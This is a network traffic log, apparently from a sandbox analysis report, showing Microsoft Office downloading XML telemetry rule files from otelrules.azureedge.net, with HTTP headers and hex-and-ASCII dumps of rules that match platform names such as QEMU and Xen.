2024-11-25 11:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4f8b7288-601e-003e-66f5-3e3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110957Z-15b8b599d88n8stkhC1TEBb78n00000000r0000000007eef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	61125	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:56 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:57 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110957Z-174c587ffdf8fcgwhC1TEBnn7000000005yg00000000ed8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:57 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	61124	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:57 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:57 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110957Z-174c587ffdf7t49mhC1TEB4qbg00000005s000000000ax8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:57 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	61126	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:58 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110959Z-178bfbc474b9fdhphC1NYCac0n00000007dg0000000003sy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	61127	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:58 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:59 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:59 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 67c311b1-901e-0029-7afd-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110959Z-15b8b599d88g5tp8hC1TEByx6w00000005s000000000dav8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:09:59 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	61128	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:59 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:59 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8d306870-001e-0049-49bf-3e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110959Z-178bfbc474bmqmgjhC1NYCy16c00000007h00000000026ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:59 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	61130	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:59 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f000c210-c01e-008d-4155-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110959Z-15b8b599d88g5tp8hC1TEByx6w00000005s000000000davh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	61129	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:59 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9a5c0c24-501e-0064-106e-3c1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110959Z-174c587ffdfn4nhwhC1TEB2nbc00000005x000000000b3qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	61131	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111001Z-15b8b599d885ffrhhC1TEBtuv000000005y0000000006wdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	61132	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:01 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 20b606c1-d01e-0028-12bf-3e7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111001Z-15b8b599d88qw29phC1TEB5zag00000005v0000000007bds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	61133	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:01 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:01 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111001Z-174c587ffdftjz9shC1TEBsh9800000005rg0000000078sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:01 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	61134	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:01 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111001Z-174c587ffdf4zw2thC1TEBu34000000005ug00000000kg15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	61135	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
